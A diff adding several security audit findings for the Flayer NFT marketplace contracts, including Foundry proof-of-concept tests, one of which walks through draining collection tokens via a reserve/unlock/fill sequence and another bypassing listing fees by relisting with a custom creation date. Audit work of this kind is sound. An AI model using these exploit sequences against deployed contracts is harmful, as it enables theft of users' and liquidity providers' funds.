+ listings.setProtectedListings(address(protectedListings));
+ ICollectionToken token = locker.collectionToken(address(erc721a));
+ //Ensure the listings already have some balance from fees, so we can cover expenses from our hack.
+ deal(address(token), address(listings), 5 ether);
+ uint startBalanceListings = token.balanceOf(address(listings));
+
+ address _owner = address(0x77);
+ address _ownerAlt = address(0x78);
+ uint _tokenId = 2555;
+
+ assertEq(token.denomination(), 0);
+ uint startBalance = token.balanceOf(_owner);
+
+ // reserve some CT balance for the alt, for ease of testing.
+ // We need alt acc to avoid the msg.sender check in the reserve() function.
+ uint startBalanceAlt = 10 ether;
+ deal(address(token), _ownerAlt, startBalanceAlt);
+
+ erc721a.mint(_owner, _tokenId);
+
+ //===========Setup===========
+
+ vm.startPrank(_owner);
+
+ erc721a.approve(address(listings), _tokenId);
+ Listings.Listing memory listing = IListings.Listing({
+ owner: payable(_owner),
+ created: uint40(block.timestamp),
+ duration: 50 days,
+ floorMultiple: 400
+ });
+
+ // Create our listing
+ _createListing({
+ _listing: IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(_tokenId),
+ listing: listing
+ })
+ });
+ vm.stopPrank();
+
+ skip(1); // Owner alt acts in second transaction.
+
+ vm.startPrank(_ownerAlt);
+
+ //--Reserve the NFT--//
+ token.approve(address(listings), 5 ether);
+ listings.reserve({
+ _collection: address(erc721a),
+ _tokenId: _tokenId,
+ _collateral: 0.05 ether
+ });
+ //Now we should have succesfully reserved it, without deleting the old listing from the array in Listings.sol
+
+ //--Unlock the NFT and withdraw it--//
+ token.approve(address(protectedListings), 2 ether);
+ protectedListings.unlockProtectedListing(address(erc721a), _tokenId, true);
+
+ //--Now lets deposit it into the Locker.sol on behalf of the owner--//
+ erc721a.setApprovalForAll(address(locker), true);
+ locker.deposit(address(erc721a), _tokenIdToArray(_tokenId), _owner);
+
+ // Its ready to be bought!
+ uint[][] memory _tokenIdsOut = new uint[][](1);
+ _tokenIdsOut[0] = new uint[](1);
+ _tokenIdsOut[0][0] = _tokenId;
+
+ token.approve(address(listings), 5 ether);
+ listings.fillListings(
+ IListings.FillListingsParams({
+ collection: address(erc721a),
+ tokenIdsOut: _tokenIdsOut
+ })
+ );
+
+ vm.stopPrank();
+
+ //Now lets withdraw the doubled refund amount.
+ vm.startPrank(_owner);
+ listings.withdraw(address(token), 4285713988095238094);
+
+ //Done. Hacked successfully. Now lets confirm:
+ assertTrue((token.balanceOf(_owner) + token.balanceOf(_ownerAlt)) > startBalanceAlt + startBalance);
+ assertEq((token.balanceOf(_owner) + token.balanceOf(_ownerAlt)), 10642856845238095237);
+ assertTrue(token.balanceOf(address(listings)) < startBalanceListings);
+ // 10642856845238095237 - 10000000000000000000 = 0.642856845238095237 CT stolen.
+ }
+```
+
+## Impact
+All the CT tokens from a collection pool can be FULLY drained, by repeating this operation again and again.
+We can easily steal `0.642856845238095237 CT` in one go, as shown in the **PoC**, if a floor price is worth ~ `$2000`, we drain `$1280` in just one iteration.
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+```diff
+ function reserve(address _collection, uint _tokenId, uint _collateral) public nonReentrant lockerNotPaused {
+ ...Skipping code...
+ if (listingPrice > listingFloorPrice) {
+ unchecked {
+ collectionToken.transferFrom(msg.sender, oldListing.owner, listingPrice - listingFloorPrice);
+ }
+ }
+
+ // Delete listing
++ delete _listings[_collection][_tokenId];
+ unchecked { listingCount[_collection] -= 1; }
+ }
+...Skipping code....
+```
diff --git a/001/421.md b/001/421.md
new file mode 100644
index 0000000..e9c23d1
--- /dev/null
+++ b/001/421.md
@@ -0,0 +1,77 @@
+Fancy Emerald Lark
+
+Medium
+
+# After increasing the token taken, tax/debt accounting might put the listing to liquidation eventhough it shouldn't
+
+
+## Summary
+Impact: on adjust listing, tax is issued on updated token taken amount for the time period since listing creation instead of applying the tax for only previous token taken amount. And updated token tax should only incur tax from now on instead of incurring from listing creation.
+This might put the listing to liquidation, depending on the amount of token taken increased and also the time period between listing creation and then adjustment.
+
+Likelihood: above medium.
+
+
+## Vulnerability Detail
+
+Issue flow :
+1. User lists BAYC 200 as protected and token taken is 0.5 ether.
+2. after 10 days, the unlock price becomes 0.55 ether (10% tax for 10 days), so 0.05 ether tax is incurred.
+3. Now user calls `adjustPosition` with -0.4 ether as `_amount` parameter to increase token taken from 0.5 to 0.9 ether
+4. Since the `debt`= 0.95 - 0.55(unlock price) = 0.40 ether, the line 401 inside the else block will pass (amount > debt) = -0.4 amount is not > +0.40 debt.
+5. On line 413, the token taken is increased from 0.5 to 0.9 ( 0.5 + 0.4) by transferring 0.4 ether of tokens to user on line 413.
+
+Now the issue is, after the adjust listing transaction, if you call `getProtectedListingHealth` it will return 0.95 - 0.99 = - 0.04 ether. Its now liquidatable. This is due to the fact, 10% tax for the 10 days is applied to the whole new token taken amount (0.9 ether) instead of the 0.5 ether amount that user borrowed for 10 days.
+
+So, the correct way, is to charge that tax for previous token taken (for only 0..5 ether) and not charge the tax for 0.9 ether for the new 0.9 ether. The issue will impact high if the number of days between listing creation and listing adjustment is high and also depends on the amount of token taken increased compared to previous token taken.
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L404-L413
+
+```solidity
+ProtectedListings.sol
+
+353: function adjustPosition(address _collection, uint _tokenId, int _amount) public lockerNotPaused {
+ ---- SNIP ----
+363: // Get the current debt of the position
+364: int debt = getProtectedListingHealth(_collection, _tokenId);
+367:
+369: uint absAmount = uint(_amount < 0 ? -_amount : _amount);
+370:
+372: ICollectionToken collectionToken = locker.collectionToken(_collection);
+375: if (_amount < 0) {
+ ---- SNIP ----
+
+394: }
+395: // Otherwise, the user is increasing their debt to take more token
+396: else {
+397: // Ensure that the user is not claiming more than the remaining collateral
+401: >>> if (_amount > debt) revert InsufficientCollateral();
+402:
+403: // Release the token to the caller
+404: collectionToken.transfer(
+405: msg.sender,
+406: absAmount * 10 ** collectionToken.denomination()
+407: );
+408:
+409: // Update the struct to reflect the new tokenTaken, protecting from overflow
+413: >>> _protectedListings[_collection][_tokenId].tokenTaken += uint96(absAmount);
+414: }
+417: }
+
+```
+
+
+## Impact
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L404-L413
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L404-L413
+
+
+Fix this by collecting the tax before the token taken increases so that the new token tax will not incur the tax for the whole period but only incur it from now on.
diff --git a/001/424.md b/001/424.md
new file mode 100644
index 0000000..283a583
--- /dev/null
+++ b/001/424.md
@@ -0,0 +1,57 @@
+Clean Snowy Mustang
+
+Medium
+
+# Type uint88 may not be suitable for storing quorum vote requirement
+
+## Summary
+
+Type `uint88` may not be suitable for storing quorum vote requirement.
+
+## Vulnerability Detail
+
+User can vote to shutdown a collection, for the shutdown to be executed, a number of votes required to reach a quorum, and the quorum is set as below:
+
+[CollectionShutdown.sol#L147-L150](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L147-L150):
+```solidity
+ if (totalSupply > MAX_SHUTDOWN_TOKENS * 10 ** params.collectionToken.denomination()) revert TooManyItems();
+
+ // Set our quorum vote requirement
+ params.quorumVotes = uint88(totalSupply * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT);
+```
+
+`MAX_SHUTDOWN_TOKENS` is $4$ ether, `SHUTDOWN_QUORUM_PERCENT` is $50$ and `ONE_HUNDRED_PERCENT` is $100$.
+
+A collection token can be created with **9** denominations.
+
+[Locker.sol#L63-L64](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L63-L64):
+```solidity
+ /// The maximum value of a new {CollectionToken} denomination
+ uint public constant MAX_TOKEN_DENOMINATION = 9;
+```
+
+This means when the collection token's total supply is less than $4e27$ (4e18 * 10 ** 9), user can trigger a shutdown and vote, and the quorum needs to be reached is $2e27$ (4e27 * 50 / 100).
+
+However, `uint88` is used as the type of quorum, and its max value is $309485009821345068724781056$, roughly $0.31e27$, the value is much less than $2e27$, as a result, the quorum is truncated to $143089941071929587651313664$ and the actually required amount is much less than expected.
+
+## Impact
+
+Much less votes are required to reach a quorum than expected.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L149-L150
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Consider using `uint96` instead of `uint88`.
+
+[CollectionShutdown.sol#L150](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L150):
+```diff
+- params.quorumVotes = uint88(totalSupply * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT);
++ params.quorumVotes = uint96(totalSupply * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT);
+```
\ No newline at end of file
diff --git a/001/425.md b/001/425.md
new file mode 100644
index 0000000..6ade69d
--- /dev/null
+++ b/001/425.md
@@ -0,0 +1,44 @@
+Lone Chartreuse Alpaca
+
+Medium
+
+# When reListing, Fees are Wrongly also Refunded For Liquidation Listings
+
+### Summary
+
+When relisting a listing in [Listings::reList](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L625-L672) function, the absence of a check for if the tokenId is a liquidation listing could allow wrongly refunding tax to the liquidation listing owner, when no fee/tax was ever charged on the listing.
+
+### Root Cause
+
+Liquidation listings are listings created when a protected listing becomes liquidated. Unlike normally created listings, these listings aren't taxed, and thus there shouldn't be any refund of fee when filling or relisting the listing.
+
+But in the event were a liquidation listing is being relisted, the functionality currently wrongly processes a tax refund for the previous owner.
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L644-L647
+
+### Internal pre-conditions
+
+None
+
+### External pre-conditions
+
+None
+
+### Attack Path
+
+None
+
+### Impact
+
++ Will unbalance the contract's internal accounting, since the refunded fee will be coming from other users taxes
+
+
+### PoC
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L625-L672
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L178-L208
+
+### Mitigation
+
+Just like in [Listings::reserve](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L708-L713) function, only resolve listing tax if the tokenId isn't a liquidation listing
\ No newline at end of file
diff --git a/001/428.md b/001/428.md
new file mode 100644
index 0000000..30aa9e5
--- /dev/null
+++ b/001/428.md
@@ -0,0 +1,49 @@
+Clean Snowy Mustang
+
+Medium
+
+# User may not be able to reclaim collection shutdown votes
+
+## Summary
+User may not be able to reclaim collection shutdown votes.
+
+## Vulnerability Detail
+
+As the comments says, user is able to reclaim votes **at any time**.
+
+[CollectionShutdown.sol#L350-L356](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L350-L356):
+```solidity
+ /**
+ * If the user changes their mind regarding their vote, then they can retract it
+ * at any time. This will remove their vote and return their token.
+ *
+ * @param _collection The collection address
+ */
+ function reclaimVote(address _collection) public whenNotPaused {
+```
+
+Therefore it is reasonable to think that user can claim their votes even after the shutdown has been executed and the collection has been fully liquidated.
+
+However, it not always the case. After shutdown, anyone can [claim](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L285) liquidation share on behave of others, for example, it's possible that Bob claims shares on behave of Alice, after the claim, Alice's `shutdownVoters` info is deleted, results in Alice won't be able to reclaim her votes.
+
+[CollectionShutdown.sol#L305-L306](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L305-L306):
+```solidity
+ // Set our available tokens to claim to zero
+ delete shutdownVoters[_collection][_claimant];
+```
+
+## Impact
+
+User won't be able to reclaim votes at any time as promised.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L285
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Should not allow user to claim liquidation shares on behave of others.
\ No newline at end of file
diff --git a/001/429.md b/001/429.md
new file mode 100644
index 0000000..7247395
--- /dev/null
+++ b/001/429.md
@@ -0,0 +1,179 @@
+Wobbly Neon Hyena
+
+Medium
+
+# `Listings::relist` is not reseting the listing's created date, allowing users to bypass listing fees
+
+### Summary
+
+When creating a newly created listing, users are allowed to pass a created date, however, this is being overridden in `Listings::createListings` and is set to `block.timestamp`, which makes sense. This is done in `Listings::_mapListings`:
+```solidity
+function _mapListings(CreateListing calldata _createListing, uint _tokenIds) private returns (uint tokensReceived_) {
+ // Loop through our tokens
+ for (uint i; i < _tokenIds; ++i) {
+ // Create our initial listing and update the timestamp of the listing creation to now
+ _listings[_createListing.collection][_createListing.tokenIds[i]] = Listing({
+ owner: _createListing.listing.owner,
+ created: uint40(block.timestamp),
+ duration: _createListing.listing.duration,
+ floorMultiple: _createListing.listing.floorMultiple
+ });
+ }
+
+ // Our user will always receive one ERC20 per ERC721
+ tokensReceived_ = _tokenIds * 1 ether;
+}
+```
+Relisting is the same as fulfilling a listing and creating a new listing in the same step, however, when relisting a listing the user is also allowed to pass a creation date. But the issue here is that `Listings::relist` is not overriding that date, unlike `Listings::createListings`.
+
+This allows users to pass custom creation dates for their listings and manipulate the fees/refund calculation in `Listings::_resolveListingTax`, bypassing listing fees.
+
+### Root Cause
+
+`Listings::relist` is not resetting the created date of the newly created listing, [here](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625-L672).
+
+### Impact
+
+Users can bypass the listing fees.
+
+### PoC
+
+Add the following test in `flayer/test/Listings.t.sol`:
+
+```solidity
+function test_CanPassCustomCreatedDate() public {
+ vm.warp(block.timestamp + 365 days);
+
+ address bob = address(1);
+ address alice = address(2);
+ ICollectionToken collectionToken = ICollectionToken(
+ locker.collectionToken(address(erc721a))
+ );
+
+ uint startBalance = 5 ether;
+ deal(address(collectionToken), bob, startBalance);
+ deal(address(collectionToken), alice, startBalance);
+
+ uint256 _tokenId = 0;
+ erc721a.mint(address(this), _tokenId);
+ erc721a.setApprovalForAll(address(listings), true);
+
+ // Create a normal liduid listing
+ IListings.CreateListing[]
+ memory _listings = new IListings.CreateListing[](1);
+ collectionToken.approve(address(listings), type(uint).max);
+ _listings[0] = IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(_tokenId),
+ listing: IListings.Listing({
+ owner: payable(address(this)),
+ created: uint40(block.timestamp),
+ duration: 10 days,
+ floorMultiple: 200
+ })
+ });
+ listings.createListings(_listings);
+
+ // Bob relicsts the listing with a custom created date
+ vm.startPrank(bob);
+ collectionToken.approve(address(listings), type(uint).max);
+ listings.relist(
+ IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(_tokenId),
+ listing: IListings.Listing({
+ owner: payable(bob),
+ created: uint40(block.timestamp + 8 days),
+ duration: 8 days,
+ floorMultiple: 120
+ })
+ }),
+ false
+ );
+ vm.stopPrank();
+
+ // Listing's created date is after 8 days
+ assertEq(
+ listings.listings(address(erc721a), _tokenId).created,
+ uint40(block.timestamp + 8 days)
+ );
+
+ // Some time passes
+ vm.warp(block.timestamp + 8 days);
+
+ // Bob doesn't hold any balances in the escrow
+ assertEq(listings.balances(bob, address(collectionToken)), 0);
+
+ // Alice buys the listing
+ vm.startPrank(alice);
+ collectionToken.approve(address(listings), type(uint).max);
+ uint256[][] memory tokenIdsOut = new uint256[][](1);
+ tokenIdsOut[0] = new uint256[](1);
+ tokenIdsOut[0][0] = _tokenId;
+ listings.fillListings(
+ IListings.FillListingsParams({
+ collection: address(erc721a),
+ tokenIdsOut: tokenIdsOut
+ })
+ );
+ vm.stopPrank();
+
+ // Bob holds the balance in the escrow, knowing that all tax should be paid as fees
+ assertGt(listings.balances(bob, address(collectionToken)), 0.01 ether);
+}
+```
+
+### Mitigation
+
+
+```diff
+function relist(CreateListing calldata _listing, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused {
+ // Load our tokenId
+ address _collection = _listing.collection;
+ uint _tokenId = _listing.tokenIds[0];
+
+ // Read the existing listing in a single read
+ Listing memory oldListing = _listings[_collection][_tokenId];
+
+ // Ensure the caller is not the owner of the listing
+ if (oldListing.owner == msg.sender) revert CallerIsAlreadyOwner();
+
+ // Load our new Listing into memory
+ Listing memory listing = _listing.listing;
+
+ // Ensure that the existing listing is available
+ (bool isAvailable, uint listingPrice) = getListingPrice(_collection, _tokenId);
+ if (!isAvailable) revert ListingNotAvailable();
+
+ // We can process a tax refund for the existing listing
+ (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
+ if (_fees != 0) {
+ emit ListingFeeCaptured(_collection, _tokenId, _fees);
+ }
+
+ // Find the underlying {CollectionToken} attached to our collection
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+
+ // If the floor multiple of the original listings is different, then this needs
+ // to be paid to the original owner of the listing.
+ uint listingFloorPrice = 1 ether * 10 ** collectionToken.denomination();
+ if (listingPrice > listingFloorPrice) {
+ unchecked {
+ collectionToken.transferFrom(msg.sender, oldListing.owner, listingPrice - listingFloorPrice);
+ }
+ }
+
+ // Validate our new listing
+ _validateCreateListing(_listing);
+
+ // Store our listing into our Listing mappings
++ listing.created = uint40(block.timestamp);
+ _listings[_collection][_tokenId] = listing;
+
+ // Pay our required taxes
+ payTaxWithEscrow(address(collectionToken), getListingTaxRequired(listing, _collection), _payTaxWithEscrow);
+
+ // Emit events
+ emit ListingRelisted(_collection, _tokenId, listing);
+}
+```
\ No newline at end of file
diff --git a/001/431.md b/001/431.md
new file mode 100644
index 0000000..cf50dd9
--- /dev/null
+++ b/001/431.md
@@ -0,0 +1,130 @@
+Shiny Mint Lion
+
+Medium
+
+# In the unlockProtectedListing() function, the interest that was supposed to be distributed to LP holders was instead burned.
+
+## Summary
+In the unlockProtectedListing() function, the interest that was supposed to be distributed to LP holders was instead burned.
+## Vulnerability Detail
+```javascript
+function unlockProtectedListing(address _collection, uint _tokenId, bool _withdraw) public lockerNotPaused {
+ // Ensure this is a protected listing
+ ProtectedListing memory listing = _protectedListings[_collection][_tokenId];
+
+ // Ensure the caller owns the listing
+ if (listing.owner != msg.sender) revert CallerIsNotOwner(listing.owner);
+
+ // Ensure that the protected listing has run out of collateral
+ int collateral = getProtectedListingHealth(_collection, _tokenId);
+ if (collateral < 0) revert InsufficientCollateral();
+
+ // cache
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+ uint denomination = collectionToken.denomination();
+ uint96 tokenTaken = _protectedListings[_collection][_tokenId].tokenTaken;
+
+ // Repay the loaned amount, plus a fee from lock duration
+@>> uint fee = unlockPrice(_collection, _tokenId) * 10 ** denomination;
+@>> collectionToken.burnFrom(msg.sender, fee);
+
+ // We need to burn the amount that was paid into the Listings contract
+@>> collectionToken.burn((1 ether - tokenTaken) * 10 ** denomination);
+
+ // Remove our listing type
+ unchecked { --listingCount[_collection]; }
+
+ // Delete the listing objects
+ delete _protectedListings[_collection][_tokenId];
+
+ // Transfer the listing ERC721 back to the user
+ if (_withdraw) {
+ locker.withdrawToken(_collection, _tokenId, msg.sender);
+ emit ListingAssetWithdraw(_collection, _tokenId);
+ } else {
+ canWithdrawAsset[_collection][_tokenId] = msg.sender;
+ }
+
+ // Update our checkpoint to reflect that listings have been removed
+ _createCheckpoint(_collection);
+
+ // Emit an event
+ emit ListingUnlocked(_collection, _tokenId, fee);
+ }
+```
+从unlockProtectedListing()调用的unlockPrice()可以知道,feeb包含了本金和利息。
+```javascript
+ function unlockPrice(address _collection, uint _tokenId) public view returns (uint unlockPrice_) {
+ // Get the information relating to the protected listing
+ ProtectedListing memory listing = _protectedListings[_collection][_tokenId];
+
+ // Calculate the final amount using the compounded factors and principle amount
+@>> unlockPrice_ = locker.taxCalculator().compound({
+ _principle: listing.tokenTaken,
+ _initialCheckpoint: collectionCheckpoints[_collection][listing.checkpoint],
+ _currentCheckpoint: _currentCheckpoint(_collection)
+ });
+ }
+```
+Therefore, after burning the fee, the interest paid by the user was also burned. This portion of the interest should have been distributed to the LP holders. Evidence for this can be found in the liquidateProtectedListing() function, where the interest generated by the ProtectedListing NFT is distributed to the LP holders.
+```javascript
+ function liquidateProtectedListing(address _collection, uint _tokenId) public lockerNotPaused listingExists(_collection, _tokenId) {
+ //-------skip-----------
+
+ // Send the remaining tokens to {Locker} implementation as fees
+ uint remainingCollateral = (1 ether - listing.tokenTaken - KEEPER_REWARD) * 10 ** denomination;
+ if (remainingCollateral > 0) {
+ IBaseImplementation implementation = locker.implementation();
+ collectionToken.approve(address(implementation), remainingCollateral);
+@>> implementation.depositFees(_collection, 0, remainingCollateral);
+ }
+ //-------skip-----------
+ }
+```
+After the interest is burned, it causes deflation in the total amount of collectionToken, which leads to serious problems:
+
+ 1. The total number of collectionTokens no longer matches the number of NFTs (it becomes less than the number of NFTs in the Locker contract), making it impossible to redeem some NFTs.
+ 2. The utilizationRate() calculation results in a utilization rate greater than 100%, leading to an excessively high interestRate_, which in turn makes it impossible for users to create listings on ProtectedListings.
+
+```javascript
+ /**
+ * Determines the usage rate of a listing type.
+ *
+ * @param _collection The collection to calculate the utilization rate of
+ *
+ * @return listingsOfType_ The number of listings that match the type passed
+ * @return utilizationRate_ The utilization rate percentage of the listing type (80% = 0.8 ether)
+ */
+ function utilizationRate(address _collection) public view virtual returns (uint listingsOfType_, uint utilizationRate_) {
+ // Get the count of active listings of the specified listing type
+ listingsOfType_ = listingCount[_collection];
+
+ // If we have listings of this type then we need to calculate the percentage, otherwise
+ // we will just return a zero percent value.
+ if (listingsOfType_ != 0) {
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+
+ // If we have no totalSupply, then we have a zero percent utilization
+ uint totalSupply = collectionToken.totalSupply();
+ if (totalSupply != 0) {
+ utilizationRate_ = (listingsOfType_ * 1e36 * 10 ** collectionToken.denomination()) / totalSupply;
+ }
+ }
+ }
+```
+## Impact
+LP holders suffer losses, and users may be unable to use ProtectedListings normally.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L287
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L607
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L429
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L261
+## Tool used
+
+Manual Review
+
+## Recommendation
+Distribute the interest to the LP holders.
\ No newline at end of file
diff --git a/001/433.md b/001/433.md
new file mode 100644
index 0000000..4cddfb3
--- /dev/null
+++ b/001/433.md
@@ -0,0 +1,75 @@
+Jovial Frost Porcupine
+
+Medium
+
+# use nonReentrant modifier in start and voteAndClaimfunction.
+
+## Summary
+we are not using nonReentrant in start and voteAndClaimfunction functions.As we are calling _vote in start function and
+## Vulnerability Detail
+ @>>function start(address _collection) public whenNotPaused {
+ // Confirm that this collection is not prevented from being shutdown
+ if (shutdownPrevented[_collection]) revert ShutdownPrevented();
+
+ // Ensure that a shutdown process is not already actioned
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ if (params.shutdownVotes != 0) revert ShutdownProcessAlreadyStarted();
+
+ // Get the total number of tokens still in circulation, specifying a maximum number
+ // of tokens that can be present in a "dormant" collection.
+ params.collectionToken = locker.collectionToken(_collection);
+ uint totalSupply = params.collectionToken.totalSupply();
+ if (totalSupply > MAX_SHUTDOWN_TOKENS * 10 ** params.collectionToken.denomination()) revert TooManyItems();
+
+ // Set our quorum vote requirement
+ params.quorumVotes = uint88(totalSupply * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT);
+
+ // Notify that we are processing a shutdown
+ emit CollectionShutdownStarted(_collection);
+
+ // Cast our vote from the user
+ _collectionParams[_collection] = _vote(_collection, params);
+ }
+
+@>> function voteAndClaim(address _collection) public whenNotPaused {
+ // Ensure that we have moved token IDs to the pool
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ if (params.sweeperPool == address(0)) revert ShutdownNotExecuted();
+
+ // Ensure that all NFTs have sold from our Sudoswap pool
+ if (!collectionLiquidationComplete(_collection)) revert NotAllTokensSold();
+
+ // Take tokens from the user and hold them in this escrow contract
+ uint userVotes = params.collectionToken.balanceOf(msg.sender);
+ if (userVotes == 0) revert UserHoldsNoTokens();
+ params.collectionToken.burnFrom(msg.sender, userVotes);
+
+ // We can now delete our sweeper pool tokenIds
+ if (params.sweeperPoolTokenIds.length != 0) {
+ delete _collectionParams[_collection].sweeperPoolTokenIds;
+ }
+
+ // Get the number of votes from the claimant and the total supply and determine from that the percentage
+ // of the available funds that they are able to claim.
+ uint amount = params.availableClaim * userVotes / (params.quorumVotes * ONE_HUNDRED_PERCENT / SHUTDOWN_QUORUM_PERCENT);
+ (bool sent,) = payable(msg.sender).call{value: amount}('');
+ if (!sent) revert FailedToClaim();
+
+ emit CollectionShutdownClaim(_collection, msg.sender, userVotes, amount);
+ }
+
+
+
+
+## Impact
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L323
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L135
+## Tool used
+
+Manual Review
+
+## Recommendation
+ function voteAndClaim(address _collection) public nonReentrant whenNotPaused {
+function start(address _collection) public nonReentrant whenNotPaused {
\ No newline at end of file
diff --git a/001/434.md b/001/434.md
new file mode 100644
index 0000000..8e0815e
--- /dev/null
+++ b/001/434.md
@@ -0,0 +1,129 @@
+Shiny Mint Lion
+
+Medium
+
+# Malicious users can exploit createListings() and liquidateProtectedListing() functions in the ProtectedListings contract to replace Listings::createListings() in order to evade paying the tax fee.”
+
+## Summary
+Malicious users can exploit createListings() and liquidateProtectedListing() functions in the ProtectedListings contract to replace Listings::createListings() in order to evade paying the tax fee.”
+## Vulnerability Detail
+```javascript
+ function liquidateProtectedListing(address _collection, uint _tokenId) public lockerNotPaused listingExists(_collection, _tokenId) {
+ // Ensure that the protected listing has run out of collateral
+ int collateral = getProtectedListingHealth(_collection, _tokenId);
+ if (collateral >= 0) revert ListingStillHasCollateral();
+
+ // cache
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+ uint denomination = collectionToken.denomination();
+
+ // Keeper gets 0.05 as a reward for triggering the liquidation
+ collectionToken.transfer(msg.sender, KEEPER_REWARD * 10 ** denomination);
+
+ // Create a base listing
+ uint[] memory tokenIds = new uint[](1);
+ tokenIds[0] = _tokenId;
+
+ // Load our {ProtectedListing} for subsequent reads
+ ProtectedListing memory listing = _protectedListings[_collection][_tokenId];
+
+ // Create our liquidation {Listing} belonging to the original owner. Since we
+ // have already collected our `KEEPER_REWARD`, we don't need to highlight them
+ // in any way against the new listing.
+@>> _listings.createLiquidationListing(
+ IListings.CreateListing({
+ collection: _collection,
+ tokenIds: tokenIds,
+ listing: IListings.Listing({
+ owner: listing.owner,
+ created: uint40(block.timestamp),
+ duration: 4 days,
+ floorMultiple: 400
+ })
+ })
+ );
+
+ // Send the remaining tokens to {Locker} implementation as fees
+ uint remainingCollateral = (1 ether - listing.tokenTaken - KEEPER_REWARD) * 10 ** denomination;
+ if (remainingCollateral > 0) {
+ IBaseImplementation implementation = locker.implementation();
+ collectionToken.approve(address(implementation), remainingCollateral);
+ implementation.depositFees(_collection, 0, remainingCollateral);
+ }
+
+ // Reduce the number of protected listings that we have registered
+ unchecked {
+ --listingCount[_collection];
+ }
+
+ // Delete our protected listing
+ delete _protectedListings[_collection][_tokenId];
+
+ // Update our checkpoint to reflect that listings have been removed
+ _createCheckpoint(_collection);
+
+ emit ProtectedListingLiquidated(_collection, _tokenId, msg.sender);
+ }
+```
+The root cause is that the liquidateProtectedListing function internally calls _listings.createLiquidationListing(), and in createLiquidationListing(), no tax is required to be paid.
+```javascript
+ function createLiquidationListing(CreateListing calldata _createListing) public nonReentrant lockerNotPaused {
+ // We can only call this from our {ProtectedListings} contract
+ if (msg.sender != address(protectedListings)) revert CallerIsNotProtectedListings();
+
+ // Map our Listing struct as it is referenced a few times moving forward
+ Listing calldata listing = _createListing.listing;
+
+ /// Ensure our listing will be valid
+ if (listing.floorMultiple != LIQUIDATION_LISTING_FLOOR_MULTIPLE) {
+ revert InvalidFloorMultiple(listing.floorMultiple, LIQUIDATION_LISTING_FLOOR_MULTIPLE);
+ }
+
+ if (listing.duration != LIQUIDATION_LISTING_DURATION) {
+ revert InvalidLiquidationListingDuration(listing.duration, LIQUIDATION_LISTING_DURATION);
+ }
+
+ // Flag our listing as a liquidation
+@>> _isLiquidation[_createListing.collection][_createListing.tokenIds[0]] = true;
+
+ // Our token will already be in the {Locker}, so we can just confirm ownership. This
+ // saves us 2 transfer calls.
+ if (IERC721(_createListing.collection).ownerOf(_createListing.tokenIds[0]) != address(locker)) revert LockerIsNotTokenHolder();
+
+ // Map our listing
+@>> _mapListings(_createListing, 1);
+
+ // Increment our listings count
+ unchecked { listingCount[_createListing.collection] += 1; }
+
